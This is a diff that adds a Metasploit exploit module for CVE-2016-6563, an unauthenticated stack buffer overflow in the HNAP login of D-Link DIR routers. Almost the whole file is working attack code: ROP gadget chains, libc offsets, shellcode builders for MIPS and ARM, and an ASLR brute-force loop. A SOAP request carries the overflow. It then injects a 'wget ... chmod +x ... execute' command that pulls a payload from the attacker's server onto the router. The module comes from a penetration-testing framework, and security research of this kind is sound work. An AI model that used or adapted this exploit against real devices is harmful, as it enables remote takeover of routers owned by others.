|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +# Payload working status: |
| 9 | +# MIPS: |
| 10 | +# - all valid payloads working (the ones that we are able to send without null bytes) |
| 11 | +# ARM: |
| 12 | +# - inline rev/bind shell works (bind... meh sometimes) |
| 13 | +# - stager rev/bind shell FAIL |
| 14 | +# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb... |
| 15 | + |
| 16 | +class MetasploitModule < Msf::Exploit::Remote |
| 17 | + Rank = ExcellentRanking |
| 18 | + |
| 19 | + include Msf::Exploit::Remote::HttpClient |
| 20 | + include Msf::Exploit::Remote::HttpServer |
| 21 | + include Msf::Exploit::EXE |
| 22 | + include Msf::Exploit::FileDropper |
| 23 | + |
| 24 | + def initialize(info = {}) |
| 25 | + super(update_info(info, |
| 26 | + 'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow', |
| 27 | + 'Description' => %q{ |
| 28 | + Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which |
| 29 | + is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol, |
| 30 | + which accepts arbitrarily long strings into certain XML parameters and then copies them into |
| 31 | + the stack. |
| 32 | + This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested |
| 33 | + using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and |
| 34 | + this vulnerability is present in both MIPS and ARM devices. |
| 35 | + The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a |
| 36 | + few load and store instructions. Because of this the payloads have to be sent unencoded, which |
| 37 | + can cause them to fail, although the bind shell seems to work well. |
| 38 | + For the ARM devices, the inline reverse tcp seems to work best. |
| 39 | + Check the reference links to see the vulnerable firmware versions. |
| 40 | + }, |
| 41 | + 'Author' => |
| 42 | + [ |
| 43 | + 'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module |
| 44 | + ], |
| 45 | + 'License' => MSF_LICENSE, |
| 46 | + 'Platform' => ['linux'], |
| 47 | + 'References' => |
| 48 | + [ |
| 49 | + ['CVE', '2016-6563'], |
| 50 | + ['US-CERT-VU', '677427'], |
| 51 | + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'], |
| 52 | + ['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38'] |
| 53 | + ], |
| 54 | + 'DefaultOptions' => { 'WfsDelay' => 10 }, |
| 55 | + 'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target) |
| 56 | + 'Targets' => |
| 57 | + [ |
| 58 | + [ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]', |
| 59 | + { |
| 60 | + 'Offset' => 3072, |
| 61 | + 'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers |
| 62 | + 'Sleep' => 0x56DF0, # sleep() offset into libuClibc-0.9.30.3.so |
| 63 | + 'FirstGadget' => 0x4EA1C, # see comments below for gadget information |
| 64 | + 'SecondGadget' => 0x2468C, |
| 65 | + 'ThirdGadget' => 0x41f3c, |
| 66 | + 'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi sp,sp,-3128 |
| 67 | + 'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr sp |
| 68 | + 'BranchDelay' => "\x20\x84\xf8\x30", # addi a0,a0,-2000 (nop) |
| 69 | + 'Arch' => ARCH_MIPSBE, |
| 70 | + 'Payload' => |
| 71 | + { |
| 72 | + 'BadChars' => "\x00", |
| 73 | + 'EncoderType' => Msf::Encoder::Type::Raw # else it will fail with SIGILL, this CPU is crippled |
| 74 | + }, |
| 75 | + } |
| 76 | + ], |
| 77 | + [ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]', |
| 78 | + { |
| 79 | + 'Offset' => 1024, |
| 80 | + 'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well) |
| 81 | + 'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so |
| 82 | + 'FirstGadget' => 0x18298, # see comments below for gadget information |
| 83 | + 'SecondGadget' => 0x40CB8, |
| 84 | + 'Arch' => ARCH_ARMLE, |
| 85 | + } |
| 86 | + ], |
| 87 | + ], |
| 88 | + 'DisclosureDate' => 'Nov 7 2016', |
| 89 | + 'DefaultTarget' => 0)) |
| 90 | + register_options( |
| 91 | + [ |
| 92 | + Opt::RPORT(80), |
| 93 | + OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']), |
| 94 | + OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']), |
| 95 | + OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']), |
| 96 | + OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']), |
| 97 | + OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']), |
| 98 | + ], self.class) |
| 99 | + end |
| 100 | + |
| 101 | + def check |
| 102 | + begin |
| 103 | + res = send_request_cgi({ |
| 104 | + 'uri' => '/HNAP1/', |
| 105 | + 'method' => 'POST', |
| 106 | + 'Content-Type' => 'text/xml', |
| 107 | + 'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' } |
| 108 | + }) |
| 109 | + |
| 110 | + if res && res.code == 500 |
| 111 | + return Exploit::CheckCode::Detected |
| 112 | + end |
| 113 | + rescue ::Rex::ConnectionError |
| 114 | + return Exploit::CheckCode::Unknown |
| 115 | + end |
| 116 | + |
| 117 | + Exploit::CheckCode::Safe |
| 118 | + end |
| 119 | + |
| 120 | + def calc_encode_addr (offset, big_endian = true) |
| 121 | + if big_endian |
| 122 | + [(target['LibcBase'] + offset).to_s(16)].pack('H*') |
| 123 | + else |
| 124 | + [(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse |
| 125 | + end |
| 126 | + end |
| 127 | + |
| 128 | + def prepare_shellcode_arm (cmd) |
| 129 | + #All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers |
| 130 | + |
| 131 | + #first_gadget (pops system() address into r3, and second_gadget into PC): |
| 132 | + #.text:00018298 LDMFD SP!, {R3,PC} |
| 133 | + |
| 134 | + #second_gadget (puts the stack pointer into r0 and calls system() at r3): |
| 135 | + #.text:00040CB8 MOV R0, SP |
| 136 | + #.text:00040CBC BLX R3 |
| 137 | + |
| 138 | + #system() (Executes argument in r0 (our stack pointer) |
| 139 | + #.text:0005A270 system |
| 140 | + |
| 141 | + #The final payload will be: |
| 142 | + #'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command |
| 143 | + shellcode = rand_text_alpha(target['Offset']) + # filler |
| 144 | + "\xff\xff\xff\xff" + # n integer overwrite (see advisory) |
| 145 | + rand_text_alpha(16) + # moar filler |
| 146 | + rand_text_alpha(4) + # r11 |
| 147 | + calc_encode_addr(target['FirstGadget'], false) + # first_gadget |
| 148 | + calc_encode_addr(target['System'], false) + # system() address |
| 149 | + calc_encode_addr(target['SecondGadget'], false) + # second_gadget |
| 150 | + cmd # our command |
| 151 | + end |
| 152 | + |
| 153 | + def prepare_shellcode_mips |
| 154 | + #All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers |
| 155 | + |
| 156 | + #<sleep> is at 56DF0 |
| 157 | + |
| 158 | + #first gadget - execute sleep and call second_gadget |
| 159 | + #.text:0004EA1C move $t9, $s0 <- sleep() |
| 160 | + #.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget |
| 161 | + #.text:0004EA24 li $a0, 2 <- arg for sleep() |
| 162 | + #.text:0004EA28 lw $s0, 0x20+var_8($sp) |
| 163 | + #.text:0004EA2C li $a1, 1 |
| 164 | + #.text:0004EA30 move $a2, $zero |
| 165 | + #.text:0004EA34 jr $t9 |
| 166 | + #.text:0004EA38 addiu $sp, 0x20 |
| 167 | + |
| 168 | + #second gadget - put stack pointer in a1: |
| 169 | + #.text:0002468C addiu $s1, $sp, 0x58 |
| 170 | + #.text:00024690 li $s0, 0x44 |
| 171 | + #.text:00024694 move $a2, $s0 |
| 172 | + #.text:00024698 move $a1, $s1 |
| 173 | + #.text:0002469C move $t9, $s4 |
| 174 | + #.text:000246A0 jalr $t9 |
| 175 | + #.text:000246A4 move $a0, $s2 |
| 176 | + |
| 177 | + #third gadget - call $a1 (stack pointer): |
| 178 | + #.text:00041F3C move $t9, $a1 |
| 179 | + #.text:00041F40 move $a1, $a2 |
| 180 | + #.text:00041F44 addiu $a0, 8 |
| 181 | + #.text:00041F48 jr $t9 |
| 182 | + #.text:00041F4C nop |
| 183 | + |
| 184 | + #When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer. |
| 185 | + #prep_shellcode_1: 23bdf7a8 addi sp,sp,-3128 |
| 186 | + #prep_shellcode_2: 03a0f809 jalr sp |
| 187 | + #branch_delay: 2084f830 addi a0,a0,-2000 |
| 188 | + |
| 189 | + #The final payload will be: |
| 190 | + #shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay |
| 191 | + shellcode = payload.encoded + # exploit |
| 192 | + rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler |
| 193 | + calc_encode_addr(target['Sleep']) + # s0 |
| 194 | + rand_text_alpha(4) + # s1 |
| 195 | + rand_text_alpha(4) + # s2 |
| 196 | + rand_text_alpha(4) + # s3 |
| 197 | + calc_encode_addr(target['ThirdGadget']) + # s4 (third gadget) |
| 198 | + calc_encode_addr(target['FirstGadget']) + # initial pc / ra (first_gadget) |
| 199 | + rand_text_alpha(0x1c) + # filler |
| 200 | + calc_encode_addr(target['SecondGadget']) + # second_gadget |
| 201 | + rand_text_alpha(0x58) + # filler |
| 202 | + target['PrepShellcode1'] + # exploit prep |
| 203 | + target['PrepShellcode2'] + # exploit prep |
| 204 | + target['BranchDelay'] # exploit prep |
| 205 | + end |
| 206 | + |
| 207 | + def send_payload (payload) |
| 208 | + begin |
| 209 | + # the payload can go in the Action, Username, LoginPassword or Captcha XML tag |
| 210 | + body = %{ |
| 211 | +<?xml version="1.0" encoding="utf-8"?> |
| 212 | +<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> |
| 213 | + <soap:Body> |
| 214 | + <Login xmlns="http://purenetworks.com/HNAP1/"> |
| 215 | + <Action>something</Action> |
| 216 | + <Username>Admin</Username> |
| 217 | + <LoginPassword></LoginPassword> |
| 218 | + <Captcha>#{payload}</Captcha> |
| 219 | + </Login> |
| 220 | + </soap:Body> |
| 221 | +</soap:Envelope> |
| 222 | +} |
| 223 | + |
| 224 | + res = send_request_cgi({ |
| 225 | + 'uri' => '/HNAP1/', |
| 226 | + 'method' => 'POST', |
| 227 | + 'ctype' => 'text/xml', |
| 228 | + 'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }, |
| 229 | + 'data' => body |
| 230 | + }) |
| 231 | + rescue ::Rex::ConnectionError |
| 232 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") |
| 233 | + end |
| 234 | + end |
| 235 | + |
| 236 | + # Handle incoming requests from the server |
| 237 | + def on_request_uri(cli, request) |
| 238 | + #print_status("on_request_uri called: #{request.inspect}") |
| 239 | + if (not @pl) |
| 240 | + print_error("#{peer} - A request came in, but the payload wasn't ready yet!") |
| 241 | + return |
| 242 | + end |
| 243 | + print_status("#{peer} - Sending the payload to the device...") |
| 244 | + @elf_sent = true |
| 245 | + send_response(cli, @pl) |
| 246 | + end |
| 247 | + |
| 248 | + def exploit |
| 249 | + print_status("#{peer} - Attempting to exploit #{target.name}") |
| 250 | + if target == targets[0] |
| 251 | + send_payload(prepare_shellcode_mips) |
| 252 | + else |
| 253 | + downfile = rand_text_alpha(8+rand(8)) |
| 254 | + @pl = generate_payload_exe |
| 255 | + @elf_sent = false |
| 256 | + resource_uri = '/' + downfile |
| 257 | + |
| 258 | + #do not use SSL |
| 259 | + if datastore['SSL'] |
| 260 | + ssl_restore = true |
| 261 | + datastore['SSL'] = false |
| 262 | + end |
| 263 | + |
| 264 | + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") |
| 265 | + srv_host = Rex::Socket.source_address(rhost) |
| 266 | + else |
| 267 | + srv_host = datastore['SRVHOST'] |
| 268 | + end |
| 269 | + |
| 270 | + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri |
| 271 | + print_status("#{peer} - Starting up our web service on #{service_url} ...") |
| 272 | + start_service({'Uri' => { |
| 273 | + 'Proc' => Proc.new { |cli, req| |
| 274 | + on_request_uri(cli, req) |
| 275 | + }, |
| 276 | + 'Path' => resource_uri |
| 277 | + }}) |
| 278 | + |
| 279 | + datastore['SSL'] = true if ssl_restore |
| 280 | + print_status("#{peer} - Asking the device to download and execute #{service_url}") |
| 281 | + |
| 282 | + filename = rand_text_alpha_lower(rand(8) + 2) |
| 283 | + cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &" |
| 284 | + |
| 285 | + shellcode = prepare_shellcode_arm(cmd) |
| 286 | + |
| 287 | + print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.") |
| 288 | + counter = 0.00 |
| 289 | + while (not @elf_sent) |
| 290 | + if counter % 50.00 == 0 && counter != 0.00 |
| 291 | + print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.") |
| 292 | + end |
| 293 | + send_payload(shellcode) |
| 294 | + sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine |
| 295 | + counter += 1 |
| 296 | + end |
| 297 | + print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.") |
| 298 | + end |
| 299 | + end |
| 300 | +end |
0 commit comments